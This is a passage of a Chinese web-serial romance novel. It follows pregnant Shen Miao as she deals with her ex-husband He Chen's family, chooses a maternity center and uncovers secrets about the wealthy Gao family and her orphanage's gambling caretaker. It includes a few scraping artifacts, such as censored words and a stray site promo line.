贺忱已经让林昭盯着高家了,但他还是提醒道,“你现在情况特殊,别被人钻了空子。”
钻了,空子?
他指的是,她肚子里的孩子,那条小生命,她该时时刻刻的注意,不论是任何的不对劲,都要防备。
沈渺木讷点头,将心头那抹他关心带来的涟漪压下去。
“贺总,我虽然不知道高家调查我的原因,但是高少夫人针对我的原因,我是清楚的。”
她余光瞥见角落里鬼鬼祟祟的身影,面色冷下来,“您和程小姐快结婚了,我们应该保持适当的距离。”
贺忱喉咙一紧,她寡淡冷漠的表情,令他心里微微发刺。
他下意识说,“我跟程唯怡——”
“你跟程小姐如何,跟我没关系,希望贺总能把界限分清楚。”
沈渺及时打断贺忱的话,她不想知道,贺忱跟程唯怡感情多好或者吵了几次架。
贺忱面色染上薄怒,她的冷漠拒她于千里之外,令他胸腔里絮了一团火。
“沈渺,你不知好歹。”
他生气了。
不远处,服务员从电梯里出来,推着购物车发出阵阵杂音。
“沈小姐,咱们的婴儿床有上门组装的服务,您跟您先生是自己体验给宝宝组装还是让工作人员来?”
沈渺越过贺忱,迎着服务员走过去,“抱歉,麻烦帮我送货上门吧,顺便组装了。”
服务员下意识看向贺忱。
“还有,他不是我老公,你误会了。”
沈渺添了句解释,双手拢着裙带,朝与贺忱相反的方向离开。
“哎——”服务员反应过来时,她身形已经消失在拐角处。
贺忱上了车,关车门的声音震天响,整个停车场发出几阵回音。
一个小时后,婴儿床送回家,被组装好。
短短两天,婴儿房被布置的变了样似的。
沈渺本有些低落的心情,看到宝宝的东西又恢复了暖意。
商音抱着商商过来,在婴儿房玩了一会儿,两人了了半天,她只字未提遇到贺忱的事情。
直到她放在爬爬垫上的手机响了,来电显示‘明董’。
商音脸色一菜,“这贺家人,怎么一个接一个的没完没了?”
“可能是工作上的事情。”
沈渺拿起手机,转身出了婴儿房。
“沈渺,我没想到你这么卑鄙,想母凭子贵,嫁到我们贺家?我告诉你,你就是生下这个孩子,我也不认!”
明黎艳愤怒到极致的声音,尖锐刺耳。
距离沈渺怀孕的新闻爆出已经过去好几天了。
明黎艳看到了新闻,根本没当回事,且不说新闻有真有假。
就算沈渺真怀了,跟他们又有什么关系?
没想到,那个孩子竟然是贺忱的!
217.订票飞深城,一切交给我
“您误会了,孩子不是贺忱的。”
沈渺极力否认,“我跟贺忱离婚半年,才怀上的这个孩子。”
明黎艳怒极反笑,“论心思深沉,你是第一名,因为你知道我从来没有认可过你,你婚内想生我也不会让你生下贺忱的孩子,所以你故意离婚让我放松警惕……”
不知道她哪里来的那么多内心戏,离谱到沈渺觉得可笑。
该说不说,这种说法传出去,上流圈子的人都会相信。
毕竟,豪门的优越感就会让他们觉得,所有跟他们有关联的人,都带着目的的。
“我没你想的那么贪财、势,更没有那么爱贺忱,我不会为了留在他身边费这么大心思,这个孩子跟贺忱没关系,跟贺家更没关系。”
沈渺听她说完那一番离谱的话,言简意赅的解释了几句,然后挂断电话。
明黎艳又拨过去,电话响了几声被挂断,再打已经打不通了。
沈渺竟然敢拉黑她?
明黎艳眼前一阵发黑,坐在沙发上冷静了几秒,然后拿过手机,给程唯怡打电话。
“伯母,呜呜呜……”程唯怡的哭声传来,“沈渺也太坏了,贺忱哥一定是不想传出去,怕丢人,所以才不得不被她牵着鼻子走的!可是我们要怎么办?这个婚还怎么结?”
“别哭了,唯怡,好孩子,我这就去深城给你做主!”明黎艳安慰着她,“你别为这事儿跟贺忱闹,就像你说的,他要顾全贺家跟公司,理解他一下。”
程唯怡‘嗯’了声,一抽一抽的说,“我,我知道,伯母放心,我不会给贺忱哥添乱,也不会让贺家陷入难堪的境地!”
明黎艳松一口气,“好孩子,我就知道没看错你,这件事……先别跟你父母讲,免得他们在京北着急上火,一切都有伯母给你做主呢,明白吗?”
“我知道,我都听伯母的。”程唯怡啜泣着说。
“好了不哭了,我马上订票飞深城,一切交给我。”
明黎艳挂了电话,订飞往深城的机票。
那端,挂了电话的沈渺,看到明黎艳第二次打过来,心底就已经有了不好的预感。
明黎艳肯定不会善罢甘休的。
不过她觉得,贺忱能挡住明黎艳。
“怎么?”商音扒着婴儿房的门,“前婆婆找你干什么?”
沈渺,“她觉得我怀的是贺忱的孩子。”
商音一愣,“不是,你怀孕的新闻都传出去几天了,她现在才找上门来?”
确实蹊跷。
想到商场那一幕,沈渺后知后觉反应过来,只怕这事儿又是程唯怡干的。
“人家怀个孕,全家人围着转,你怀个孕前夫一家人围着转。”
商音回去再爬爬垫上坐下,唉声叹气,“真不知道认识贺忱,算不算你倒霉。”
沈渺转身进厨房切果盘,再回来时商商已经在婴儿床上睡着了。
“东西都置办的差不多了,抽空把月子中心订了吧。”
商音手搓着头,捏了块菠萝放嘴里,“昭姐待的月子中心真不错,你考虑一下?”
沈渺摇头,“不考虑,太贵了,我已经有了合适的选择。”
“是吗?”商音眼珠子一咕噜,问,“大概什么价位的?”
“在网上看了一家三万的。”沈渺这两天,注意力都在孩子身上。
足不出户,把跟生孩子有关的事儿都办的七七八八,办不了的就查透彻了。
那家月子中心,是她再三对比之后觉得合适的。
商音吸吸鼻子,“那改天我们去看看,顺便给你看看我给你准备的大礼。”
“大礼?”沈渺含在嘴里的菠萝一顿,迅速嚼了吃下去,“是什么?”
“到时候你就知道了。”
商音朝她眨眨眼,“不过你可别太感动,我可不想哭。”
沈渺不禁莞尔。
满心准备生产,她很快将明黎艳这通电话,抛之脑后了。
次日,沈渺与商音一起去看月子中心。
三万的收费标准在深城来说,只能算一般。
但是这家的环境与服务堪比维尔亚月子中心。
唯一不足的是,在郊区,离着市中心很远。
沈渺跟商音开车快两个小时才到。
一路上商音抱怨好几次,“早知道这么远,我就直接pass了。”
“远一点也没关系,反正住在里面,又不是天天来回跑。”
沈渺倒是知道这里远。
网上清一色评价,美中不足的就是离着市区太远了。
“那我不得隔三差五来看你?”商音翻白眼,“把你一个人丢月子中心,我可不放心!”
沈渺想了想说,“你要不忍一个月呢?等我出了月子搬回去住,可有的你忙,你再清净一个月。”
她到时也会雇个月嫂。
但是孩子太小,她脱不开身,肯定有很多需要商音帮忙的地方。
商音有商商,还要忙工作,到时肯定会忙翻天。
“忍不了。”商音勾着嘴角坏笑,“小美人终于生完孩子了,我还能放过你吗?”
沈渺:“……”
“等不到你坐完月子,我就要跟你夜夜笙歌,而且我的商商也想看他的童养媳啊!”
商音语气欢快,迫不及待想到那一天了。
沈渺跟她扯皮,聊到没话说,才到地方。
路程耗精力,沈渺参观了一圈,觉得还不错,就想定下来。
“沈小姐放心,到时我们会去医院接您过来,等您做完月子我们也会派车送您回家,所以距离不是问题。”
招待人员听商音说了两次太远,将无微不至的服务说出来。
“那挺好,我的预产期还有两个月,能——”
“这样吧我们加个微信,有事线上沟通,如果合适线上预定,可以吧?”
商音拦了沈渺一把。
招待人员点头,“可以的,您有什么顾虑及时跟我们沟通!”
不等沈渺再说什么,商音拉着她就走了。
“实力同等价位的月子中心,不论环境还是待遇都没这么好,更贵的我也不考虑,咱就别浪费时间再看别的了。”
商音朝她挑挑眉,“我不是说了给你惊喜,现在就带你去。”
她神神秘秘秘的,沈渺无奈摇头,却也只能由着她。
218.我让你吃不了兜着走!
两个小时后,车在维尔亚月子中心停下。
沈渺睡着了,是被商音喊醒的。
她睁开眼睛看着周围,略微熟悉,反应了一会儿才想起来这是哪儿。
“你带我来这儿干什么?”
商音从包里拿出卡,朝她抖了抖眼眉,“钱我都准备好了,这个月子咱就在这儿了!”
她下车,绕到沈渺那侧,把车门打开,“下来,进去交钱。”
“不去。”沈渺坐在车上不下来,“没必要花这个钱。”
商音跺了下脚,“我是为你好,这里离着医院也近,生产完月子中的产妇随时都有危险情况发生的,万一出事都不来及……”
不等说完,她拍了两下嘴巴,“呸呸呸,不能乌鸦嘴,不会出事的,但这边真的合适。”
“那边也有医疗团队,而且是高龄产妇危险率较高,我现在正年轻。”
沈渺欲关车门,“你上车,咱们回家。”
“我都跟这边打好招呼了。”
商音抱着车门,不让她关,“你好歹给我个面子,下来看看。”
沈渺不理她,不下车。
“我们有钱,你不用担心钱。”商音劝说。
“我们只是当下有钱,不是一直有钱,我们应该把钱花在刀刃上,明白吗?”
沈渺知道,商音为她好。
但她们目前很好,只是目前,不代表以后都会这么好。
两个孩子花钱的地方很多,必须提前做足准备。
“我就是觉得,咱俩这辈子也就生这一次孩子,京北的消费更高,住不起好的,我都觉得对不起自己,现在我不想对不起你。”
商音耷拉着脑袋,“我这孩子父不详,你的孩子是贺家的小少爷,跟不上他爹享福,咱也得让他过养尊处优的生活。”
“这,万一以后贺家来抢孩子,至少孩子不会被纸醉金迷的生活迷了眼。”
她想的,比沈渺还远。
沈渺沉默几秒说,“我们就是再努力,也给不了他贺家的生活,如果孩子的身世真的暴露,选择权不在我手上,更不在他手上,在贺忱手上。”
贺家想认这个孩子,她挡不住,孩子的意愿更不重要。
贺家不像认这个孩子,孩子再爱富嫌贫,也入不了贺家的大门。
“我……”
“沈渺?”
不等商音说完,一旁传来一道声音。
沈渺回头,透过车门缝往后看。
高夫人穿着真丝两件套裙,臂弯挂着珍珠包包,黑色长发盘起,整个人端庄贵气。
她看到沈渺,目光流露出的欣喜,比以往更甚。
“没想到在这里看到你了?”
她阔步朝这边走过来。
商音让开位置。
沈渺不得不从车上下来,“高夫人。”
“你是来看月子中心的吗?”高夫人走到她面前停下,眼含笑容。
“过来看看。”沈渺随口回答。
高夫人身后还跟着月子中心的工作人员。
她们见过沈渺,想起来了,忙说,“二位是约了今天再来看看月子中心吧?我们这边已经准备好接待了,可以直接进去。”
商音张了张嘴,正欲说‘行’。
“抱歉,我们今天临时有事,要先走,改天再约吧。”
沈渺先一步开口,她又朝高夫人颔首,“高夫人,就不打扰您了,我先走了。”
“这马上中午了,一起吃个饭吧。”
高夫人看了看时间,热情邀请,“正好,珊珊的事情我还想跟你聊两句。”
她邀请沈渺的语气,像是她们认识了很久,偶尔遇见一定要吃顿饭。
“高夫人,我们还有事。”沈渺重复了一遍。
高夫人才反应过来,她还有事。
“你瞧我,都没注意,那你去忙吧,改天有时间一起吃个饭。”
沈渺微点了下头,转身推着商音回车上。
商音似乎还有些不死心。
沈渺索性推着她坐打扫副驾驶上,自己绕到驾驶位开车。
“你瞧人家接待员的眼神,一下子就看出我们是找借口的了。”
车窗关上,商音小声嘟囔。
沈渺踩油门走人。
接待员确实在小声吐槽,“高夫人,这两个人来过一次了,估计是觉得这里贵,想住又没钱,咱们不管她了,您要给少夫人定六十八万那一档吗?这边给您办理手续?”
“嫌贵?”高夫人回头,呢喃着这两个字。
“对啊,上次她们来了,就问最低档多少钱,对您来说最高档六十八万也是轻而易举,但对普通人来说十万最低档也很贵了。”
接待员将随身带着的单据拿出来,“您可以先预付十万的定金。”
高夫人沉吟片刻,又朝沈渺她们离开的方向看了一眼。
“帮我订两个最高档的,另外一份写沈小姐的名字。”
接待员一愣,“您要给沈小姐订一份?”
高夫人伶俐的眼神看她一眼,“有什么问题吗?”
“没!没有!”接待员忙不迭摇头。
“我听说,你们有对接的医院,能提前预约深城最好的产科医生过来接生?”高夫人又问。
接待员,“对,我还没来得及给您介绍,那是需要另外收费的,到时医生会来咱们月子中心,生产完直接回房间,对产后竭尽全力的产妇很友好。”
刚介绍完,高夫人就掏出卡来,“再帮我预定两位医生。”
“预约医生过来,要六位数一位,您确定预定两位吗?”
接待员不是怀疑高夫人掏不起。
她单纯觉得,高夫人没必要给沈渺掏这笔钱。
毕竟,高夫人跟沈渺没关系啊。
“确定。”高夫人把卡交给她。
接待员不再多问,立刻开单收钱。
等待期间,高夫人的手机突然响了。
她滑动屏幕接起,刚听到那端传来的声音,她的眉头就拧起来了。
“我说了,若非必要,以后不要再联系,谁让你来深城的……少跟我说这些,你自己惹的祸自己解决!我警告你,以后别再联系我!你敢捅破当初那件事情,我让你吃不了兜着走!”
高夫人声音前所未有的凝重,说完她毫不犹豫挂断了电话。
那端,沈渺跟商音回到家里。
商音耷拉着脑袋,那叫一个垂头丧气。
“人家给你准备的惊喜,让你泼了一盆冷水。”
219.你跟唯怡这个婚,还结不结?
沈渺换睡衣,睨了她一眼。
“你要是背着我去订,我跟你翻脸。”
商音撇嘴,“刚遇到的那个女人,是不是见过?我觉得很眼熟。”
“上午来看月子中心时,见过一次。”
沈渺提醒道。
商音想起来了,“上次你就是为了偶遇她,才跑到这个月子中心去的,你们关系很好吗?”
“只是一个客户。”沈渺摇头否认,“就是她让我觉得怪怪的。”
“千奇百怪的人多了去了,别放在心上。”商音对一个老妇女行为怪异不感兴趣,“你能理解我的想法吗?”
她暗指想给沈渺定好的月子中心,真的是良苦用心。
沈渺白她一眼,“不想理解,不去,不聊。”
她转身就到客厅跟商商玩了。
两人回来的虽晚,可昭姐还是准备了午饭。
她又热了一遍,沈渺和商音上桌吃饭。
吃饱后,沈渺回了自己那儿。
早上起来的早,她准备睡个午觉。
没等躺下,家门被敲响。
她只得爬起来去开门。
“沈渺,你开门!”
是商音,她咋咋呼呼的,敲门敲的急。
沈渺开门,“怎么了?”
“浅姨,浅姨来了。”商音接到浅姨电话,一路跑过来的,此刻有些气喘吁吁。
“她来深城干什么?”沈渺面色一沉,“孤儿院里的孩子们呢,谁照顾?”
商音摇头,“不清楚啊,她就突然给我打电话,告诉我来了,说晚上一起吃个饭。”
这些年,沈渺印象里,浅姨就没出过京北。
她们前脚来,后脚浅姨就跟过来了。
“去哪儿吃饭?”沈渺问。
商音指了指手机,“她让我把地址发给她,说来家里吃饭,看看你再看看孩子。”
她已经把地址编辑好,正准备给浅姨发过去。
“先别发。”沈渺拦下她,“约她在外面吃饭。”
“为啥啊?”商音嘴上问,手上已经开始删除编辑的消息了。
沈渺不多解释,“先见她一面,若她有事过来只是来看看,再让她来家里也不迟。”
商音点头,“成,那我按你说的办,你睡觉去吧,晚上咱俩一起过去。”
这么一搅,沈渺睡不着了,她躺在床上翻来覆去的。
—-
总裁办。
贺忱伫立在窗边,扣着手机接听电话。
“高家有个规矩,家产传女,没女丁时再传男,到了高振山这一辈,两个儿子,他还有个弟弟,这兄弟两个曾经合谋想改了家族规矩,被旁支的人摁着不许改。”
“深城关于高家的传闻很多,高夫人婚后五年才生下儿子,有人说她在生高裴济之前,生个一个女儿,被高振山给掐死了。”
“哦对,高家二夫人曾生下过一个女婴,刚出生夭折了,为这事儿高二夫人抑郁很多年,直到六年前生下小儿子,情况才好转。”
林昭把高家调查了个底朝天。
风评不是很好,但胜在都是传说,没有实质性的证据。
所以高家在深城的地位,十分稳固。
“你说这么多,跟沈渺有关系吗。”贺忱反问。
林昭‘呃’了下才说,“您说,沈秘书是不是高家血脉?”
贺忱,“你问我?”
林昭:“……”
高家对沈渺的态度蹊跷。
可是想查,也得找个方向去查,不然无从下手。
“把你想过的可能性,全都查一遍。”
贺忱薄唇轻启,一张一合就给林昭下达了巨任!
林昭几度想求放过,到底还是咽下了废话,因为他知道说了也不管用。
自己累成狗,贺忱都不在乎,贺忱只看成果。
“是。”
办公室门被敲响,贺忱挂了电话,低沉道了一个字,“进。”
李白恬推门进来,神色慌张。
“贺总,明董来了。”
“谁?”贺忱眉头一拢,回过头看去。
李白恬重复一遍,“明董。”
她话音刚落地,明黎艳推开半敞的门,阔步进来。
“怎么?妈来了你不欢迎?”
贺忱给李白恬使眼色,李白恬先一步离开。
“您来了怎么不说一声?”
明黎艳站在办公室,四周扫视一圈,“就是想突击杀过来,看看你有没有干坏事。”
贺忱眸光微动,在办公桌前坐下,“我能干什么坏事。”
“不干坏事,怎么在深城不走了?”明黎艳在他对面坐下,“婚事我跟你程阿姨都处理的差不多了,你跑到这里来躲清净,听说……唯怡来了你都没跟她好好吃顿饭,怎么回事?”
“工作忙。”
贺忱吐出三个字。
明黎艳,“能有多忙,你都让沈渺休产假了,还把大项目交给韩文松做,可见分部这边根本不忙。”
“就是因为项目在韩文松手上,所以我才得亲自盯着。”
贺忱淡然自若的解释。
他不像撒谎的样子。
“贺忱,我就问你一句,你跟唯怡这个婚,还结不结?”
明黎艳探究的目光打量着自家儿子。
奈何贺忱寡淡的面容,是令人看不透的高深莫测
她连半分情绪或真假,都探究不出来。
“只要您让结,我就结。”贺忱不假思索。
他的侧面回答,明黎艳并不是很满意。
但明黎艳不深究,她说了句‘好’,然后站起来。
“你忙工作吧,晚上我约了唯怡一起吃饭,你到时候过来。”
不等贺忱回答,明黎艳就走了。
傍晚,贵雅轩。
商音说请浅姨在外面吃饭,浅姨直接选了这儿。
沈渺跟商音来了才知道,这地儿人均四位数。
两人都不打算进去,奈何刚下车,就看到浅姨在靠窗位置,朝她们挥手。
“渺渺,音音!”
安静的餐厅,周围人都投过来目光。
沈渺和商音只能走进去,低声喊了声‘浅姨’。
“你们两个在深城过得不错啊。”浅姨见她们打扮得光鲜亮丽,眼底泛出一抹光芒。
沈渺,“你怎么会到深城来?孤儿院那边有人照顾吗?”
她只字不寒暄,浅姨笑容浅了几分。
“你们可能不知道,我就是深城人。”
她这话一出,沈渺和商音都愣住了。
“过来有点事,知道你们在这边,顺路看看。”浅姨眼珠子一咕噜,试探性的问了句,“你们知道深城高家吗?”
220.离着高家人远点
沈渺和商音对视一眼,皆是从彼此的眼底看到了端倪。
“知道。”沈渺低头摆弄手机,佯装无意的回应。
浅姨身体前倾,压低些许声音,“接触过了?”
沈渺拨弄屏幕的动作一顿,她关了手机看向浅姨。
“你有事可以直接说。”
“神神秘秘的干什么?”商音压不住脾气了,“怎么?你是高家人啊?”
浅姨摇头,“当然不是,我就是告诉你们,离着高家人远点。”
沈渺,“原因。”
“没有原因,我还能害你吗?”
浅姨一脸为你好的表情,“你们两个就是不听话,说也不听我可就不管了,到时候得罪了高家,我救不了你们。”
商音翻白眼,“我们得罪高家干什么?你把肠子捋直了说话行吗?”
“不是你们得罪高家,是高家要知道你们的存在,就会主动来为难你们。”
浅姨轻敲了两下桌子,“你们跟高家有仇。”
商音:“???”
“你知道我们的身世。”沈渺脱口而出。
浅姨一愣,忙不迭摇头,“不知道!”
沈渺,“不知道你为什么说我们跟高家有仇?我们长这么大,第一次来深城。”
商音眼睛不由得睁大,“你到底什么意思啊?”
“哎呀。”浅姨静默数秒,拧着眉说,“我,其实是我跟高家有仇,我就是不想让你们跟高家人接触。”
沈渺继而戳破她,“我不信。”
“你不信拉倒。”浅姨没有被戳破的窘迫,一脸烦躁的站起来说,“我突然想起来还有事,今天这顿饭就先不吃了。”
说着她起身就走了。
速度快到没给沈渺和商音反应的机会。
“她什么意思啊?”商音一听说‘身世’二字,分外上心,“我们会不会真的跟高家有关系啊?”
沈渺看她一眼。
她眼底透露着对亲情的渴望,对家人的期望。
“我只是随口一说。”她递给商音一杯水,“你冷静一下。”
商音语气迫切,“我觉得你分析的很对,我们刚到深城跟高家人没见两次面,哪里来的仇?她是不是知道些什么?”
“音音。”沈渺语气轻缓而凝重,“她若是真知道什么,迟早会告诉我们,而且结局不见得像你想的那么好。”
寻找家人,面临的不止丢走、拐卖两种结局。
还有被丢弃的可能性。
“可是万一是好的呢?”商音毫不犹豫的说,“万一我们的父母也在找我们呢?刚刚忘了问她,是你跟高家有关系,还是我。”
她朝浅姨离开的方向看了一眼,有追上去的架势。
看到她这样,沈渺喉咙发紧,不知道该再说什么了。
“可能是你。”商音转过头来,抓着沈渺的手说,“高家人对你怪怪的,是不是认出你来了?”
她比沈渺还激动。
沈渺本舒缓的眉头渐渐拧起,“音音,你冷静一点。”
来的时候好好的,突如其来的变故,让商音不能淡定。
“我没什么好冷静的,找家里人是我一直以来的执念,渺渺,既然你这儿有了苗头,还是送上门来的苗头,你必须得弄清楚怎么回事!”
她碎碎念,掏出手机就开始在网上查高家。
只是,在网上搜到的高家新闻,远不及林昭查的那么多。
根本看不出异样。
“时间不早了,我们先回家,不吃了。”
服务员在一旁等着点餐,商音一味说高家的事情。
不查出个所以然来,商音连饭都吃不下去。
沈渺索性拉着她起来,歉意的跟服务员解释,“抱歉,我们有事先走了。”
商音任由她拉着上车,找熟人打听高家的事情。
不远处,缩在角落,看着两人上了车,她转过头来与一位看起来四十来岁的女人说,“高二夫人,你瞧着不眼熟吗?”
“你到底什么意思?”张淑兰不可思议的看着她,“好端端的带我来看这两个女人干什么?”
浅姨毫不犹豫的说,“当初你生下的那个孩子,根本没有夭折——”
张淑兰语气更为不敢相信的打断她,“你在胡说什么!”
“我是不是胡说,你查一查就知道了。”浅姨故弄玄虚,“不过,她们两个都是我养大的,你要是想查得经过我的同意。”
张淑兰眉头一拧,片刻又舒展开来。
“别以为我不知道,当初你是因为赌博被赶出高家的,现在竟然荒谬到编造这种谎言来骗我的钱?赶紧滚,不然我报警了!”
说着,她转身离开。
回到车上,张淑兰忍不住又朝沈渺和商音的方向看了一眼。
虽然她不信那个女人说的话,但是那两个女人中其中一个,确实给她一种很熟悉的感觉……
“跟上刚刚那两个女人。”她吩咐司机。
“是,夫人。”
浅姨跟上来,敲她车窗,“高二夫人,你相信我,我说的都是真的……”
汽车缓缓驶离原地。
浅姨被甩下,她盯着张淑兰离开的方向愣了一会儿,转身朝另外一个方向走去。
餐厅二楼,贺忱伫立在窗边,注视着这一幕。
距离甚远,他听不到她们的谈话声。
可他认出来,浅姨是沈渺孤儿院的负责人。
他眉头一拢,掏出手机给林昭发出一则消息。
【查一查沈渺孤儿院的负责人。】
“贺忱哥,你在干什么?”
他身后,程唯怡和明黎艳分别坐在方桌两侧。
两人聊了好一会儿,也不见贺忱坐下来,程唯怡起身走到他身边,顺着他视线往下看。
贺忱收敛目光,折回餐桌前,拿起椅背上的外套。
“我还有些事情,先走了,你们吃。”
程唯怡脸色微变。
明黎艳反应过来即刻起身,“在忙也要吃饭,不然身体会吃不消的。”
可她还是晚了贺忱一步,贺忱利落穿上外套,人已经出了包厢门。
“你们吃,不用管我。”
出了餐厅的门,贺忱上车直奔沈渺离开的方向。
——
“你想想,浅姨说过我是被人丢在寺庙山上的,我怎么会跟深城的人扯上关系呢?”
沈渺不遗余力的说服商音,放弃那荒谬的想法,“她有可能故意这么说,钓你上钩,另有目的。”
商音欲言又止,怕说多了惹沈渺生气,犹豫要不要继续探讨这个问题。
“行行行,你的事情你都不关心,我就别这么上心了。”
她把手机丢到一旁,“那就说说浅姨,她闹这一出图什么?”
沈渺摇头,“不知道图什么。”
直觉告诉她图钱。
难道,浅姨又没钱了?
“那算了,不想这些了,我们找个地方吃饭。”商音就近搜索美食餐厅,找了家环境不错的餐厅。
221.你是不是知道些什么
相比浅姨选的那家餐厅,这里平价多了。
她们在靠窗位置坐下,点了几道小菜,等餐期间又聊起刚刚的事情。
“浅姨还没说,孤儿院谁在管。”
商音想到什么似的掏出手机,“我问问卷卷。”
她们离开时,给卷卷买了一部手机。
卷卷在学校住宿时,手机交到老师手中,放假回家随时可以跟她们联系。
今天刚好周末,卷卷放假了。
“这小姑娘就是跟别人不一样,没人限制也不常抱着手机玩,估计静音学习了,这么半天不回消息。”
商音发出消息等了好半天,也没收到卷卷的回信。
“直接打电话。”
沈渺提醒。
商音一个电话拨过去,却提醒对方关机。
“什么情况,没电关机了?”
商音又拨了一遍,同样的提醒。
“等等再打。”
小孩子把手机用到没电自动关机,才想到充电,并不稀奇。
餐厅门口突然传来一阵骚乱,沈渺还有话没说完,就不由自主的看过去。
一个穿着黑色旗袍的贵妇人,脖子上一串珍珠项链气质非凡。
那与生俱来的贵气,与餐厅的装修格格不入。
“呦呵。”商音小声嘀咕,“那包至少六位数,都能买这家餐厅了,这是深城哪家的贵太太跑到这上不了台面的餐厅来了?”
她话音落地,却见贵太太朝她们看过来,目光一凝后,在她们就近的位置坐下。
立刻有服务员上前去招待,许是察觉到贵太太身份不凡,店长在后面跟上来亲自招待。
“吃饭吧。”
服务员来上餐,沈渺把筷子包装拆了,递给商音,“快点回去看商商,他看不到你都不睡觉。”
一番折腾,天色已晚,吃饱饭回家就到了商商睡觉的时间了。
商音强行收回目光,接过筷子大快朵颐。
“这家餐厅味道还不错,以后让卷卷来这里上大学吧,到时候我带她尝遍深城美食。”
“没有昭姐的手艺好。”
沈渺最近被昭姐养的胃口刁钻,吃不惯外面的饭菜了。
商音点头,“那是必须的,该说不说昭姐可是捡到宝了,只要她不辞职,等她带完商商再带我儿媳妇。”
“两个孩子差的不多,到时候一起上幼儿园,让昭姐一块照看两个也照看的过来。”
沈渺也十分认可昭姐。
两人聊着时,突然觉得有道目光时不时看过来。
沈渺顺着感觉望过去时,眼前只有坐在斜对面的贵太太,没有其他人。
“吃饱了,咱们回家吧。”
商音擦嘴,起身拎包走人。
沈渺跟着起身出去,先后走出餐厅,正准备上车离开时——
“渺儿。”商音突然喊住她,朝路边抬了抬下巴,“那是贺忱的车吗?”
库里南停在路边,十分乍眼。
车窗全部,一片茶黑色,车内景象全遮。
“是。”沈渺一眼就认出来了。
“他来这儿干什么?”商音凑过来问,“找你啊?”
沈渺静默数秒,摇头,转身拉着商音上车。
“应该不是。”
以贺忱的身份,确实不该出现在这里。
但他将车停在那里,人没下来,就证明不是来找她的。
车内,贺忱解开安全带的手动作一顿。
他沉眸看着沈渺弯腰上车,没有丝毫犹豫的离开。
他薄唇崩成一条直线,五官线条硬朗分明,蕴起一层黯然。
视线停留在沈渺离开的方向。
餐厅门口,张淑兰也出来了,她站在原地愣愣王望着飞速离开的车。
“去,找餐厅的人要一下监控。”张淑兰吩咐司机。
司机立马转身去办。
张淑兰的心不可抑制的狂跳,刚刚那张明艳动人的脸,让她仿佛看到了自己年轻时的模样。
她虽然觉得那女人的话离谱的过分。
可是她却不受控制的开始抱希望。
“高二夫人。”
张淑兰回头,便看到贺忱站在那里,“你是?”
贺忱递过来一张名片,“京北贺忱。”
“贺总?”张淑兰接过名片,语调诧异,“你来这儿是?”
“路过。”贺忱言简意赅,“约了高先生几次,他似乎很忙。”
张淑兰客气一笑道,“他已经很久不插手商业的事情了,专心在家里陪伴孩子。”
贺忱颔首,“早就听闻高先生顾家,现在看来果真如此,不过我约高先生不纯为了工作的事情。”
“不纯为工作?”张淑兰反问,“还能有什么事情?”
“为了高家。”贺忱音色凛冽正经,“高家不太平,高先生想安稳怕是很难。”
张淑兰脸色一沉,“那不还是工作?”
她态度抗拒,饶是跟贺忱第一次见,并且知道贺忱身份不凡,也没能控制住情绪。
可见,她跟高先生是想关起门来过自己的日子。
贺忱沉吟片刻道,“那是我唐突了,帮我向高先生问好。”
他不为难。
张淑兰态度缓了缓,“抱歉,我刚刚失态了,因为有些烦心事。”
“无妨,名片留着吧,日后有需要我帮忙的地方,尽管找我。”
贺忱颔首,转身回到车上离开。
夜色很浓,他朝着沈渺她们离开的方向追过去。
——
沈渺和商音在家门口分开。
她开门进屋,不等反手关门,就被一只冷白皮的手挡住了门缝。
“沈渺。”
何之洲虚弱的声音传来。
沈渺回头,将门拉开,映入眼帘的是何之洲泛着红润的脸。
“怎么了这是?”
何之洲,“跟秦川去喝酒了,别提了这狗东西不把我当人,往死里灌。”
沈渺,“秦川?秦医生?”
“对。”何之洲挤进来,把她这儿当自己家一样,往沙发上一瘫,“求你了,给我煮一碗醒酒汤行吗?”
“我给你点个外卖,直接送到你家。”
沈渺拿出手机欲点外卖。
何之洲,“不行我就要喝你亲自煮的。”
“我是孕妇,你好意思吗?”
“我可是有消息给你带过来了。”何之洲翘起二郎腿,“关于你们孤儿院的。”
沈渺点外卖的动作一顿,眼皮轻掀看过去,“你是不是知道些什么?”
何之洲眉尾一挑,意思不言而喻。
回来的路上,商音还在念叨,卷卷的电话还关机。
沈渺转身进厨房,“等我几分钟。”
222.你是个大肚婆,我还能对你做什么?
沈渺花十分钟时间做了个简易醒酒汤。
她端出来拿给何之洲燎燎的热气在两人之间弥漫开来。
隔着厨房的窗户贺忱一眼就看到两人依偎着坐在沙发上的身影。
他眉骨一拢眸色极深在兜里掏了根烟出来咬在嘴里点燃。
室内沈渺跟何之洲隔着两米的距离。
她扭头看着何之洲“现在可以说了吗?”
“你们孤儿院那个负责人把你和商音给的钱全花完了。”
何之洲撇嘴惋惜道“她**你知道吗?”
沈渺目光愕然表情怔愣“你没搞错吧?”
“怎么会?”何之洲从西装内兜拿出一沓照片递过来“你自己看。”
沈渺拿过那沓照片。
几十张照片每一张都是不同时间相同地点
浅姨像变了一个人孤儿院里那个永远穿着破旧衣服戴着围裙素颜朝天的女人艳妆浓抹地穿着烈焰红裙坐在赌桌前。
眼里泛着的精光折射着桌上一摞摞的钞票。
“这……”沈渺觉得这照片太陌生了她质疑“这是P的吧?”
“我跟她没仇没怨造这谣干什么?”何之洲拍着胸脯保证“这都是我让人查出来的。”
沈渺脑袋嗡嗡作响。
她又翻看了一遍照片甚至有二十多年前年轻时的样子。
这意味着浅姨从年轻时就开始**。
她突然想起来小时候有几次半夜醒了浅姨不在床上。
她和商音找遍了孤儿院也没找到浅姨的影子两个人依偎在床角不知不觉就睡着了。
再醒过来时浅姨已经回来了说她们昨晚梦游看错了。
这样的记忆有很多她都没放在心上毕竟那时太小。
后来她和商音上学住宿很少回去住。
工作以后基本不在孤儿院留宿。
这次她和商音给浅姨的钱被**输掉了。
可以前的钱是哪里来的?
“我帮你查查这个人?”
何之洲只是让人递给追溯沈渺那笔钱的来源查到浅姨**。
其他的都等沈渺吩咐。
沈渺动了动唇正欲让何之洲帮忙查却又沉默了。
“不是咱俩的关系我帮你个忙怎么了?”
何之洲坐直了身体“我现在帮你是真的把你当成朋友了啊!”
“我没
听说看这本书的人都是很幸运的,分享后你的运气会更棒
有不相信你只是想提醒你跟我做朋友没有好处。”
沈渺跟何之洲根本不是一个圈子里的人。
朋友也是需要平等的。
何之洲能帮她的地方多了去了而且是她根本还不回来的人情。
“沈渺你这样就没意思了。”
何之洲训起她来“朋友不是等价交换的利益品只要能互相提供情绪价值相处起来舒服就够了。”
